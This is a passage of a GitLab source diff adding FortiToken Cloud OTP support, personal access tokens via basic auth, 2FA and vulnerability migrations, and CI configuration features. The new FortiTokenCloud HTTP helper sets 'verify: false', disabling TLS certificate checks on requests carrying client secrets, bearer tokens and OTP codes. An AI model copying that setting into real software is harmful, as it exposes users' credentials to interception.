+ @key_name ||= "#{OTP_SESSIONS_NAMESPACE}:#{key.id}"
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/auth/otp/strategies/base.rb b/lib/gitlab/auth/otp/strategies/base.rb
index 718630e0e31..7d8513642c4 100644
--- a/lib/gitlab/auth/otp/strategies/base.rb
+++ b/lib/gitlab/auth/otp/strategies/base.rb
@@ -25,6 +25,10 @@ module Gitlab
result
end
+
+ def error_from_response(response)
+ error(response.message, response.code)
+ end
end
end
end
diff --git a/lib/gitlab/auth/otp/strategies/forti_authenticator.rb b/lib/gitlab/auth/otp/strategies/forti_authenticator.rb
index fbcb9fd8cdb..c1433f05db2 100644
--- a/lib/gitlab/auth/otp/strategies/forti_authenticator.rb
+++ b/lib/gitlab/auth/otp/strategies/forti_authenticator.rb
@@ -17,7 +17,10 @@ module Gitlab
# Successful authentication results in HTTP 200: OK
# https://docs.fortinet.com/document/fortiauthenticator/6.2.0/rest-api-solution-guide/704555/authentication-auth
- response.ok? ? success : error(message: response.message, http_status: response.code)
+ response.ok? ? success : error_from_response(response)
+ rescue StandardError => ex
+ Gitlab::AppLogger.error(ex)
+ error(ex.message)
end
private
@@ -32,7 +35,7 @@ module Gitlab
def api_credentials
{ username: ::Gitlab.config.forti_authenticator.username,
- password: ::Gitlab.config.forti_authenticator.token }
+ password: ::Gitlab.config.forti_authenticator.access_token }
end
end
end
diff --git a/lib/gitlab/auth/otp/strategies/forti_token_cloud.rb b/lib/gitlab/auth/otp/strategies/forti_token_cloud.rb
new file mode 100644
index 00000000000..d7506eca242
--- /dev/null
+++ b/lib/gitlab/auth/otp/strategies/forti_token_cloud.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Auth
+ module Otp
+ module Strategies
+ class FortiTokenCloud < Base
+ include Gitlab::Utils::StrongMemoize
+ BASE_API_URL = 'https://ftc.fortinet.com:9696/api/v1'
+
+ def validate(otp_code)
+ if access_token_create_response.created?
+ otp_verification_response = verify_otp(otp_code)
+
+ otp_verification_response.ok? ? success : error_from_response(otp_verification_response)
+ else
+ error_from_response(access_token_create_response)
+ end
+ end
+
+ private
+
+ # TODO: Cache the access token: https://gitlab.com/gitlab-org/gitlab/-/issues/292437
+ def access_token_create_response
+ # Returns '201 CREATED' on successful creation of a new access token.
+ strong_memoize(:access_token_create_response) do
+ post(
+ url: url('/login'),
+ body: {
+ client_id: ::Gitlab.config.forti_token_cloud.client_id,
+ client_secret: ::Gitlab.config.forti_token_cloud.client_secret
+ }.to_json
+ )
+ end
+ end
+
+ def access_token
+ Gitlab::Json.parse(access_token_create_response)['access_token']
+ end
+
+ def verify_otp(otp_code)
+ # Returns '200 OK' on successful verification.
+ # Uses the access token created via `access_token_create_response` as the auth token.
+ post(
+ url: url('/auth'),
+ headers: { 'Authorization': "Bearer #{access_token}" },
+ body: {
+ username: user.username,
+ token: otp_code
+ }.to_json
+ )
+ end
+
+ def url(path)
+ BASE_API_URL + path
+ end
+
+ def post(url:, body:, headers: {})
+ Gitlab::HTTP.post(
+ url,
+ headers: {
+ 'Content-Type': 'application/json'
+ }.merge(headers),
+ body: body,
+ verify: false # FTC API Docs specifically mentions to turn off SSL Verification while making requests.
+ )
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/auth/request_authenticator.rb b/lib/gitlab/auth/request_authenticator.rb
index c6216fa9cad..d28ee54cfbc 100644
--- a/lib/gitlab/auth/request_authenticator.rb
+++ b/lib/gitlab/auth/request_authenticator.rb
@@ -49,9 +49,16 @@ module Gitlab
private
+ def access_token
+ strong_memoize(:access_token) do
+ super || find_personal_access_token_from_http_basic_auth
+ end
+ end
+
def route_authentication_setting
@route_authentication_setting ||= {
- job_token_allowed: api_request?
+ job_token_allowed: api_request?,
+ basic_auth_personal_access_token: api_request?
}
end
end
diff --git a/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities.rb b/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities.rb
new file mode 100644
index 00000000000..68c91650d93
--- /dev/null
+++ b/lib/gitlab/background_migration/populate_dismissed_state_for_vulnerabilities.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # This class updates vulnerabilities entities with state dismissed
+ class PopulateDismissedStateForVulnerabilities
+ class Vulnerability < ActiveRecord::Base # rubocop:disable Style/Documentation
+ self.table_name = 'vulnerabilities'
+ end
+
+ def perform(*vulnerability_ids)
+ Vulnerability.where(id: vulnerability_ids).update_all(state: 2)
+ PopulateMissingVulnerabilityDismissalInformation.new.perform(*vulnerability_ids)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/populate_missing_vulnerability_dismissal_information.rb b/lib/gitlab/background_migration/populate_missing_vulnerability_dismissal_information.rb
index bc0a181a06c..04342fdabd4 100644
--- a/lib/gitlab/background_migration/populate_missing_vulnerability_dismissal_information.rb
+++ b/lib/gitlab/background_migration/populate_missing_vulnerability_dismissal_information.rb
@@ -26,13 +26,16 @@ module Gitlab
class Finding < ActiveRecord::Base # rubocop:disable Style/Documentation
include ShaAttribute
+ include ::Gitlab::Utils::StrongMemoize
self.table_name = 'vulnerability_occurrences'
sha_attribute :project_fingerprint
def dismissal_feedback
- Feedback.dismissal.where(category: report_type, project_fingerprint: project_fingerprint, project_id: project_id).first
+ strong_memoize(:dismissal_feedback) do
+ Feedback.dismissal.where(category: report_type, project_fingerprint: project_fingerprint, project_id: project_id).first
+ end
end
end
diff --git a/lib/gitlab/background_migration/populate_vulnerability_historical_statistics.rb b/lib/gitlab/background_migration/populate_vulnerability_historical_statistics.rb
index a0c89cc4664..2e81b1615d8 100644
--- a/lib/gitlab/background_migration/populate_vulnerability_historical_statistics.rb
+++ b/lib/gitlab/background_migration/populate_vulnerability_historical_statistics.rb
@@ -5,7 +5,7 @@ module Gitlab
# This class creates/updates those project historical vulnerability statistics
# that haven't been created nor initialized. It should only be executed in EE.
class PopulateVulnerabilityHistoricalStatistics
- def perform(project_ids)
+ def perform(project_ids, retention_period = 90)
end
end
end
diff --git a/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth.rb b/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth.rb
new file mode 100644
index 00000000000..d97765cd398
--- /dev/null
+++ b/lib/gitlab/background_migration/update_existing_users_that_require_two_factor_auth.rb
@@ -0,0 +1,110 @@
+# frozen_string_literal: true
+# rubocop:disable Style/Documentation
+
+module Gitlab
+ module BackgroundMigration
+ class UpdateExistingUsersThatRequireTwoFactorAuth # rubocop:disable Metrics/ClassLength
+ def perform(start_id, stop_id)
+ ActiveRecord::Base.connection.execute <<~SQL
+ UPDATE
+ users
+ SET
+ require_two_factor_authentication_from_group = FALSE
+ WHERE
+ users.id BETWEEN #{start_id}
+ AND #{stop_id}
+ AND users.require_two_factor_authentication_from_group = TRUE
+ AND users.id NOT IN ( SELECT DISTINCT
+ users_groups_query.user_id
+ FROM (
+ SELECT
+ users.id AS user_id,
+ members.source_id AS group_ids
+ FROM
+ users
+ LEFT JOIN members ON members.source_type = 'Namespace'
+ AND members.requested_at IS NULL
+ AND members.user_id = users.id
+ AND members.type = 'GroupMember'
+ WHERE
+ users.require_two_factor_authentication_from_group = TRUE
+ AND users.id BETWEEN #{start_id}
+ AND #{stop_id}) AS users_groups_query
+ INNER JOIN LATERAL ( WITH RECURSIVE "base_and_ancestors" AS (
+ (
+ SELECT
+ "namespaces"."type",
+ "namespaces"."id",
+ "namespaces"."parent_id",
+ "namespaces"."require_two_factor_authentication"
+ FROM
+ "namespaces"
+ WHERE
+ "namespaces"."type" = 'Group'
+ AND "namespaces"."id" = users_groups_query.group_ids)
+ UNION (
+ SELECT
+ "namespaces"."type",
+ "namespaces"."id",
+ "namespaces"."parent_id",
+ "namespaces"."require_two_factor_authentication"
+ FROM
+ "namespaces",
+ "base_and_ancestors"
+ WHERE
+ "namespaces"."type" = 'Group'
+ AND "namespaces"."id" = "base_and_ancestors"."parent_id")),
+ "base_and_descendants" AS (
+ (
+ SELECT
+ "namespaces"."type",
+ "namespaces"."id",
+ "namespaces"."parent_id",
+ "namespaces"."require_two_factor_authentication"
+ FROM
+ "namespaces"
+ WHERE
+ "namespaces"."type" = 'Group'
+ AND "namespaces"."id" = users_groups_query.group_ids)
+ UNION (
+ SELECT
+ "namespaces"."type",
+ "namespaces"."id",
+ "namespaces"."parent_id",
+ "namespaces"."require_two_factor_authentication"
+ FROM
+ "namespaces",
+ "base_and_descendants"
+ WHERE
+ "namespaces"."type" = 'Group'
+ AND "namespaces"."parent_id" = "base_and_descendants"."id"))
+ SELECT
+ "namespaces".*
+ FROM ((
+ SELECT
+ "namespaces"."type",
+ "namespaces"."id",
+ "namespaces"."parent_id",
+ "namespaces"."require_two_factor_authentication"
+ FROM
+ "base_and_ancestors" AS "namespaces"
+ WHERE
+ "namespaces"."type" = 'Group')
+ UNION (
+ SELECT
+ "namespaces"."type",
+ "namespaces"."id",
+ "namespaces"."parent_id",
+ "namespaces"."require_two_factor_authentication"
+ FROM
+ "base_and_descendants" AS "namespaces"
+ WHERE
+ "namespaces"."type" = 'Group')) namespaces
+ WHERE
+ "namespaces"."type" = 'Group'
+ AND "namespaces"."require_two_factor_authentication" = TRUE) AS hierarchy_tree ON TRUE);
+ SQL
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/batch_pop_queueing.rb b/lib/gitlab/batch_pop_queueing.rb
index 61011abddf5..e18f1320ea4 100644
--- a/lib/gitlab/batch_pop_queueing.rb
+++ b/lib/gitlab/batch_pop_queueing.rb
@@ -9,7 +9,7 @@ module Gitlab
# and the following items wait until the next items have been popped from the queue.
# On the other hand, this queueing system, the former part is same, however,
# it pops the enqueued items as batch. This is especially useful when you want to
- # drop redandant items from the queue in order to process important items only,
+ # drop redundant items from the queue in order to process important items only,
# thus it's more efficient than the traditional queueing system.
#
# Caveats:
diff --git a/lib/gitlab/batch_worker_context.rb b/lib/gitlab/batch_worker_context.rb
index 0589206fefc..9bc877fcd8d 100644
--- a/lib/gitlab/batch_worker_context.rb
+++ b/lib/gitlab/batch_worker_context.rb
@@ -23,7 +23,7 @@ module Gitlab
def context_by_arguments
@context_by_arguments ||= objects.each_with_object({}) do |object, result|
arguments = Array.wrap(arguments_proc.call(object))
- context = Gitlab::ApplicationContext.new(context_proc.call(object))
+ context = Gitlab::ApplicationContext.new(**context_proc.call(object))
result[arguments] = context
end
diff --git a/lib/gitlab/checks/diff_check.rb b/lib/gitlab/checks/diff_check.rb
index 8780b410a07..c0b228dee59 100644
--- a/lib/gitlab/checks/diff_check.rb
+++ b/lib/gitlab/checks/diff_check.rb
@@ -17,17 +17,26 @@ module Gitlab
file_paths = []
- process_commits do |commit|
- validate_once(commit) do
- commit.raw_deltas.each do |diff|
- file_paths.concat([diff.new_path, diff.old_path].compact)
+ if ::Feature.enabled?(:diff_check_with_paths_changed_rpc, project, default_enabled: true)
+ paths = project.repository.find_changed_paths(commits.map(&:sha))
+ paths.each do |path|
+ file_paths.concat([path.path])
- validate_diff(diff)
+ validate_diff(path)
+ end
+ else
+ process_commits do |commit|
+ validate_once(commit) do
+ commit.raw_deltas.each do |diff|
+ file_paths.concat([diff.new_path, diff.old_path].compact)
+
+ validate_diff(diff)
+ end
end
end
end
- validate_file_paths(file_paths)
+ validate_file_paths(file_paths.uniq)
end
private
diff --git a/lib/gitlab/checks/push_check.rb b/lib/gitlab/checks/push_check.rb
index 7cc5bc56cbb..47aa25aae4c 100644
--- a/lib/gitlab/checks/push_check.rb
+++ b/lib/gitlab/checks/push_check.rb
@@ -14,7 +14,7 @@ module Gitlab
private
def can_push?
- user_access.can_do_action?(:push_code) ||
+ user_access.can_push_for_ref?(ref) ||
project.branch_allows_collaboration?(user_access.user, branch_name)
end
end
diff --git a/lib/gitlab/checks/snippet_check.rb b/lib/gitlab/checks/snippet_check.rb
index 8c61b782baa..d5efbfcc5bc 100644
--- a/lib/gitlab/checks/snippet_check.rb
+++ b/lib/gitlab/checks/snippet_check.rb
@@ -10,12 +10,13 @@ module Gitlab
ATTRIBUTES = %i[oldrev newrev ref branch_name tag_name logger].freeze
attr_reader(*ATTRIBUTES)
- def initialize(change, default_branch:, logger:)
+ def initialize(change, default_branch:, root_ref:, logger:)
@oldrev, @newrev, @ref = change.values_at(:oldrev, :newrev, :ref)
@branch_name = Gitlab::Git.branch_name(@ref)
@tag_name = Gitlab::Git.tag_name(@ref)
@default_branch = default_branch
+ @root_ref = root_ref
@logger = logger
@logger.append_message("Running checks for ref: #{@branch_name || @tag_name}")
end
@@ -26,12 +27,21 @@ module Gitlab
end
true
+ rescue GitAccess::ForbiddenError => e
+ Gitlab::ErrorTracking.log_exception(e, default_branch: @default_branch, branch_name: @branch_name, creation: creation?, deletion: deletion?)
+
+ raise e
end
private
+ # If the `root_ref` is not present means that this is the first commit to the
+ # repository and when the default branch is going to be created.
+ # We allow the first branch creation no matter the name because
+ # it can be even an imported snippet from an instance with a different
+ # default branch.
def creation?
- @branch_name != @default_branch && super
+ super && @root_ref && (@branch_name != @default_branch)
end
end
end
diff --git a/lib/gitlab/checks/timed_logger.rb b/lib/gitlab/checks/timed_logger.rb
index f365e0a43f6..0db38d32bb3 100644
--- a/lib/gitlab/checks/timed_logger.rb
+++ b/lib/gitlab/checks/timed_logger.rb
@@ -31,7 +31,7 @@ module Gitlab
args = { cancelled: true }
args[:start] = start if timed
- append_message(log_message + time_suffix_message(args))
+ append_message(log_message + time_suffix_message(**args))
raise TimeoutError
end
diff --git a/lib/gitlab/ci/ansi2json/converter.rb b/lib/gitlab/ci/ansi2json/converter.rb
index 6d152c052dc..ddf40296809 100644
--- a/lib/gitlab/ci/ansi2json/converter.rb
+++ b/lib/gitlab/ci/ansi2json/converter.rb
@@ -22,8 +22,7 @@ module Gitlab
start_offset = @state.offset
- @state.new_line!(
- style: Style.new(@state.inherited_style))
+ @state.new_line!(style: Style.new(**@state.inherited_style))
stream.each_line do |line|
consume_line(line)
diff --git a/lib/gitlab/ci/build/rules.rb b/lib/gitlab/ci/build/rules.rb
index a500a0cc35d..a39afee194c 100644
--- a/lib/gitlab/ci/build/rules.rb
+++ b/lib/gitlab/ci/build/rules.rb
@@ -6,18 +6,31 @@ module Gitlab
class Rules
include ::Gitlab::Utils::StrongMemoize
- Result = Struct.new(:when, :start_in, :allow_failure) do
- def build_attributes
+ Result = Struct.new(:when, :start_in, :allow_failure, :variables) do
+ def build_attributes(seed_attributes = {})
{
when: self.when,
options: { start_in: start_in }.compact,
- allow_failure: allow_failure
+ allow_failure: allow_failure,
+ yaml_variables: yaml_variables(seed_attributes[:yaml_variables])
}.compact
end
def pass?
self.when != 'never'
end
+
+ private
+
+ def yaml_variables(seed_variables)
+ return unless variables && seed_variables
+
+ indexed_seed_variables = seed_variables.deep_dup.index_by { |var| var[:key] }
+
+ variables.each_with_object(indexed_seed_variables) do |var, hash|
+ hash[var[0].to_s] = { key: var[0].to_s, value: var[1], public: true }
+ end.values
+ end
end
def initialize(rule_hashes, default_when:)
@@ -32,7 +45,8 @@ module Gitlab
Result.new(
matched_rule.attributes[:when] || @default_when,
matched_rule.attributes[:start_in],
- matched_rule.attributes[:allow_failure]
+ matched_rule.attributes[:allow_failure],
+ matched_rule.attributes[:variables]
)
else
Result.new('never')
diff --git a/lib/gitlab/ci/build/rules/rule/clause/changes.rb b/lib/gitlab/ci/build/rules/rule/clause/changes.rb
index cbecce57163..9c2f6eea1dd 100644
--- a/lib/gitlab/ci/build/rules/rule/clause/changes.rb
+++ b/lib/gitlab/ci/build/rules/rule/clause/changes.rb
@@ -11,7 +11,7 @@ module Gitlab
def satisfied_by?(pipeline, context)
return true if pipeline.modified_paths.nil?
- expanded_globs = expand_globs(pipeline, context)
+ expanded_globs = expand_globs(context)
pipeline.modified_paths.any? do |path|
expanded_globs.any? do |glob|
File.fnmatch?(glob, path, File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB)
@@ -19,8 +19,7 @@ module Gitlab
end
end
- def expand_globs(pipeline, context)
- return @globs unless ::Feature.enabled?(:ci_variable_expansion_in_rules_changes, pipeline.project, default_enabled: true)
+ def expand_globs(context)
return @globs unless context
@globs.map do |glob|
diff --git a/lib/gitlab/ci/config/entry/allow_failure.rb b/lib/gitlab/ci/config/entry/allow_failure.rb
new file mode 100644
index 00000000000..de768c3a03b
--- /dev/null
+++ b/lib/gitlab/ci/config/entry/allow_failure.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ class Config
+ module Entry
+ ##
+ # Entry that represents allow_failure settings.
+ #
+ class AllowFailure < ::Gitlab::Config::Entry::Node
+ include ::Gitlab::Config::Entry::Attributable
+ include ::Gitlab::Config::Entry::Validatable
+
+ ALLOWED_KEYS = %i[exit_codes].freeze
+ attributes ALLOWED_KEYS
+
+ validations do
+ validates :config, hash_or_boolean: true
+ validates :config, allowed_keys: ALLOWED_KEYS
+ validates :exit_codes, array_of_integers_or_integer: true, allow_nil: true
+ end
+
+ def value
+ @config[:exit_codes] = Array.wrap(exit_codes) if exit_codes.present?
+ @config
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/config/entry/bridge.rb b/lib/gitlab/ci/config/entry/bridge.rb
index 70fcc1d586a..e8e2eef281e 100644
--- a/lib/gitlab/ci/config/entry/bridge.rb
+++ b/lib/gitlab/ci/config/entry/bridge.rb
@@ -22,6 +22,7 @@ module Gitlab
in: ALLOWED_WHEN,
message: "should be one of: #{ALLOWED_WHEN.join(', ')}"
}
+ validates :allow_failure, boolean: true
end
validate on: :composed do
@@ -47,7 +48,7 @@ module Gitlab
inherit: false,
metadata: { allowed_needs: %i[job bridge] }
- attributes :when
+ attributes :when, :allow_failure
def self.matching?(name, config)
!name.to_s.start_with?('.') &&
@@ -72,6 +73,10 @@ module Gitlab
def bridge_needs
needs_value[:bridge] if needs_value
end
+
+ def ignored?
+ allow_failure.nil? ? manual_action? : allow_failure
+ end
end
end
end
diff --git a/lib/gitlab/ci/config/entry/job.rb b/lib/gitlab/ci/config/entry/job.rb
index 1ce7060df22..85e3514499c 100644
--- a/lib/gitlab/ci/config/entry/job.rb
+++ b/lib/gitlab/ci/config/entry/job.rb
@@ -31,6 +31,7 @@ module Gitlab
validates :dependencies, array_of_strings: true
validates :resource_group, type: String
+ validates :allow_failure, hash_or_boolean: true
end
validates :start_in, duration: { limit: '1 week' }, if: :delayed?
@@ -117,9 +118,14 @@ module Gitlab
description: 'Parallel configuration for this job.',
inherit: false
+ entry :allow_failure, ::Gitlab::Ci::Config::Entry::AllowFailure,
+ description: 'Indicates whether this job is allowed to fail or not.',
+ inherit: false
+
attributes :script, :tags, :when, :dependencies,
:needs, :retry, :parallel, :start_in,
- :interruptible, :timeout, :resource_group, :release
+ :interruptible, :timeout, :resource_group,
+ :release, :allow_failure
def self.matching?(name, config)
!name.to_s.start_with?('.') &&
@@ -166,11 +172,32 @@ module Gitlab
release: release_value,
after_script: after_script_value,
ignore: ignored?,
+ allow_failure_criteria: allow_failure_criteria,
needs: needs_defined? ? needs_value : nil,
resource_group: resource_group,
scheduling_type: needs_defined? ? :dag : :stage
).compact
end
+
+ def ignored?
+ allow_failure_defined? ? static_allow_failure : manual_action?
+ end
+
+ private
+
+ def allow_failure_criteria
+ return unless ::Gitlab::Ci::Features.allow_failure_with_exit_codes_enabled?
+
+ if allow_failure_defined? && allow_failure_value.is_a?(Hash)
+ allow_failure_value
+ end
+ end
+
+ def static_allow_failure
+ return false if allow_failure_value.is_a?(Hash)
+
+ allow_failure_value
+ end
end
end
end
diff --git a/lib/gitlab/ci/config/entry/need.rb b/lib/gitlab/ci/config/entry/need.rb
index abfffb7a5ed..46191eca842 100644
--- a/lib/gitlab/ci/config/entry/need.rb
+++ b/lib/gitlab/ci/config/entry/need.rb
@@ -8,7 +8,19 @@ module Gitlab
strategy :JobString, if: -> (config) { config.is_a?(String) }
strategy :JobHash,
- if: -> (config) { config.is_a?(Hash) && config.key?(:job) && !(config.key?(:project) || config.key?(:ref)) }
+ if: -> (config) { config.is_a?(Hash) && same_pipeline_need?(config) }
+
+ strategy :CrossPipelineDependency,
+ if: -> (config) { config.is_a?(Hash) && cross_pipeline_need?(config) }
+
+ def self.same_pipeline_need?(config)
+ config.key?(:job) &&
+ !(config.key?(:project) || config.key?(:ref) || config.key?(:pipeline))
+ end
+
+ def self.cross_pipeline_need?(config)
+ config.key?(:job) && config.key?(:pipeline) && !config.key?(:project)
+ end
class JobString < ::Gitlab::Config::Entry::Node
include ::Gitlab::Config::Entry::Validatable
@@ -50,6 +62,30 @@ module Gitlab
end
end
+ class CrossPipelineDependency < ::Gitlab::Config::Entry::Node
+ include ::Gitlab::Config::Entry::Validatable
+ include ::Gitlab::Config::Entry::Attributable
+
+ ALLOWED_KEYS = %i[pipeline job artifacts].freeze
+ attributes :pipeline, :job, :artifacts
+
+ validations do
+ validates :config, presence: true
+ validates :config, allowed_keys: ALLOWED_KEYS
+ validates :pipeline, type: String, presence: true
+ validates :job, type: String, presence: true
+ validates :artifacts, boolean: true, allow_nil: true
+ end
+
+ def type
+ :cross_dependency
+ end
+
+ def value
+ super.merge(artifacts: artifacts || artifacts.nil?)
+ end
+ end
+
class UnknownStrategy < ::Gitlab::Config::Entry::Node
def type
end
diff --git a/lib/gitlab/ci/config/entry/needs.rb b/lib/gitlab/ci/config/entry/needs.rb
index 66cd57b8cf3..dd01cfeedff 100644
--- a/lib/gitlab/ci/config/entry/needs.rb
+++ b/lib/gitlab/ci/config/entry/needs.rb
@@ -10,6 +10,8 @@ module Gitlab
class Needs < ::Gitlab::Config::Entry::ComposableArray
include ::Gitlab::Config::Entry::Validatable
+ NEEDS_CROSS_PIPELINE_DEPENDENCIES_LIMIT = 5
+
validations do
validate do
unless config.is_a?(Hash) || config.is_a?(Array)
@@ -27,6 +29,15 @@ module Gitlab
errors.add(:config, "uses invalid types: #{extra_keys.join(', ')}")
end
end
+
+ validate on: :composed do
+ cross_dependencies = value[:cross_dependency].to_a
+ cross_pipeline_dependencies = cross_dependencies.select { |dep| dep[:pipeline] }
+
+ if cross_pipeline_dependencies.size > NEEDS_CROSS_PIPELINE_DEPENDENCIES_LIMIT
+ errors.add(:config, "must be less than or equal to #{NEEDS_CROSS_PIPELINE_DEPENDENCIES_LIMIT}")
+ end
+ end
end
def value
diff --git a/lib/gitlab/ci/config/entry/processable.rb b/lib/gitlab/ci/config/entry/processable.rb
index c0315e5f901..5ef8cfbddb7 100644
--- a/lib/gitlab/ci/config/entry/processable.rb
+++ b/lib/gitlab/ci/config/entry/processable.rb
@@ -32,7 +32,6 @@ module Gitlab
with_options allow_nil: true do
validates :extends, array_of_strings_or_string: true
validates :rules, array_of_hashes: true
- validates :allow_failure, boolean: true
end
end
@@ -65,7 +64,7 @@ module Gitlab
inherit: false,
default: {}
- attributes :extends, :rules, :allow_failure
+ attributes :extends, :rules
end
def compose!(deps = nil)
@@ -141,10 +140,6 @@ module Gitlab
def manual_action?
self.when == 'manual'
end
-
- def ignored?
- allow_failure.nil? ? manual_action? : allow_failure
- end
end
end
end
diff --git a/lib/gitlab/ci/config/entry/root.rb b/lib/gitlab/ci/config/entry/root.rb
index 2d93f1ab06e..54ef84b965a 100644
--- a/lib/gitlab/ci/config/entry/root.rb
+++ b/lib/gitlab/ci/config/entry/root.rb
@@ -50,6 +50,7 @@ module Gitlab
entry :variables, Entry::Variables,
description: 'Environment variables that will be used.',
+ metadata: { use_value_data: true },
reserved: true
entry :stages, Entry::Stages,
diff --git a/lib/gitlab/ci/config/entry/rules/rule.rb b/lib/gitlab/ci/config/entry/rules/rule.rb
index 8ffd49b8a93..840f2d6f31a 100644
--- a/lib/gitlab/ci/config/entry/rules/rule.rb
+++ b/lib/gitlab/ci/config/entry/rules/rule.rb
@@ -6,14 +6,18 @@ module Gitlab
module Entry
class Rules::Rule < ::Gitlab::Config::Entry::Node
include ::Gitlab::Config::Entry::Validatable
+ include ::Gitlab::Config::Entry::Configurable
include ::Gitlab::Config::Entry::Attributable
CLAUSES = %i[if changes exists].freeze
- ALLOWED_KEYS = %i[if changes exists when start_in allow_failure].freeze
+ ALLOWED_KEYS = %i[if changes exists when start_in allow_failure variables].freeze
ALLOWABLE_WHEN = %w[on_success on_failure always never manual delayed].freeze
attributes :if, :changes, :exists, :when, :start_in, :allow_failure
+ entry :variables, Entry::Variables,
+ description: 'Environment variables to define for rule conditions.'
+
validations do
validates :config, presence: true
validates :config, type: { with: Hash }
diff --git a/lib/gitlab/ci/config/entry/variables.rb b/lib/gitlab/ci/config/entry/variables.rb
index e258f7128fc..dc164d752be 100644
--- a/lib/gitlab/ci/config/entry/variables.rb
+++ b/lib/gitlab/ci/config/entry/variables.rb
@@ -13,7 +13,8 @@ module Gitlab
ALLOWED_VALUE_DATA = %i[value description].freeze
validations do
- validates :config, variables: { allowed_value_data: ALLOWED_VALUE_DATA }
+ validates :config, variables: { allowed_value_data: ALLOWED_VALUE_DATA }, if: :use_value_data?
+ validates :config, variables: true, unless: :use_value_data?
end
def value
@@ -28,6 +29,10 @@ module Gitlab
Hash[@config.map { |key, value| [key.to_s, expand_value(value)] }]
end
+ def use_value_data?
+ opt(:use_value_data)
+ end
+
private
def expand_value(value)
diff --git a/lib/gitlab/ci/features.rb b/lib/gitlab/ci/features.rb
index 661189eea50..af1df933b36 100644
--- a/lib/gitlab/ci/features.rb
+++ b/lib/gitlab/ci/features.rb
@@ -55,12 +55,8 @@ module Gitlab
::Feature.enabled?(:ci_trace_log_invalid_chunks, project, type: :ops, default_enabled: false)
end
- def self.manual_bridges_enabled?(project)
- ::Feature.enabled?(:ci_manual_bridges, project, default_enabled: true)
- end
-
- def self.auto_rollback_available?(project)
- ::Feature.enabled?(:cd_auto_rollback, project) && project&.feature_available?(:auto_rollback)
+ def self.pipeline_open_merge_requests?(project)
+ ::Feature.enabled?(:ci_pipeline_open_merge_requests, project, default_enabled: false)
end
def self.seed_block_run_before_workflow_rules_enabled?(project)
@@ -70,6 +66,14 @@ module Gitlab
def self.ci_pipeline_editor_page_enabled?(project)
::Feature.enabled?(:ci_pipeline_editor_page, project, default_enabled: false)
end
+
+ def self.allow_failure_with_exit_codes_enabled?
+ ::Feature.enabled?(:ci_allow_failure_with_exit_codes)
+ end
+
+ def self.rules_variables_enabled?(project)
+ ::Feature.enabled?(:ci_rules_variables, project, default_enabled: false)
+ end
end
end
end
diff --git a/lib/gitlab/ci/limit.rb b/lib/gitlab/ci/limit.rb
new file mode 100644
index 00000000000..c22a3c503d5
--- /dev/null
+++ b/lib/gitlab/ci/limit.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ ##
+ # Abstract base class for CI/CD Quotas
+ #
+ class Limit
+ LimitExceededError = Class.new(StandardError)
+
+ def initialize(_context, _resource)
+ end
+
+ def enabled?
+ raise NotImplementedError
+ end
+
+ def exceeded?
+ raise NotImplementedError
+ end
+
+ def message
+ raise NotImplementedError
+ end
+
+ def log_error!(extra_context = {})
+ error = LimitExceededError.new(message)
+ # TODO: change this to Gitlab::ErrorTracking.log_exception(error, extra_context)
+ # https://gitlab.com/gitlab-org/gitlab/issues/32906
+ ::Gitlab::ErrorTracking.track_exception(error, extra_context)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/mask_secret.rb b/lib/gitlab/ci/mask_secret.rb
index e5a7151b823..062ced9e234 100644
--- a/lib/gitlab/ci/mask_secret.rb
+++ b/lib/gitlab/ci/mask_secret.rb
@@ -9,11 +9,7 @@ module Gitlab
# We assume 'value' must be mutable, given
# that frozen string is enabled.
- ##
- # TODO We need to remove this because it is going to change checksum of
- # a trace.
- #
- value.gsub!(token, 'x' * token.length)
+ value.gsub!(token, 'x' * token.bytesize)
value
end
end
diff --git a/lib/gitlab/ci/parsers.rb b/lib/gitlab/ci/parsers.rb
index 0e44475607b..57f73c265b2 100644
--- a/lib/gitlab/ci/parsers.rb
+++ b/lib/gitlab/ci/parsers.rb
@@ -10,7 +10,8 @@ module Gitlab
junit: ::Gitlab::Ci::Parsers::Test::Junit,
cobertura: ::Gitlab::Ci::Parsers::Coverage::Cobertura,
terraform: ::Gitlab::Ci::Parsers::Terraform::Tfplan,
- accessibility: ::Gitlab::Ci::Parsers::Accessibility::Pa11y
+ accessibility: ::Gitlab::Ci::Parsers::Accessibility::Pa11y,
+ codequality: ::Gitlab::Ci::Parsers::Codequality::CodeClimate
}
end
diff --git a/lib/gitlab/ci/parsers/codequality/code_climate.rb b/lib/gitlab/ci/parsers/codequality/code_climate.rb
new file mode 100644
index 00000000000..628d50b84cb
--- /dev/null
+++ b/lib/gitlab/ci/parsers/codequality/code_climate.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Parsers
+ module Codequality
+ class CodeClimate
+ def parse!(json_data, codequality_report)
+ root = Gitlab::Json.parse(json_data)
+
+ parse_all(root, codequality_report)
+ rescue JSON::ParserError => e
+ codequality_report.set_error_message("JSON parsing failed: #{e}")
+ end
+
+ private
+
+ def parse_all(root, codequality_report)
+ return unless root.present?
+
+ root.each do |degradation|
+ break unless codequality_report.add_degradation(degradation)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/parsers/coverage/cobertura.rb b/lib/gitlab/ci/parsers/coverage/cobertura.rb
index 934c797580c..1edcbac2f25 100644
--- a/lib/gitlab/ci/parsers/coverage/cobertura.rb
+++ b/lib/gitlab/ci/parsers/coverage/cobertura.rb
@@ -5,50 +5,113 @@ module Gitlab
module Parsers
module Coverage
class Cobertura
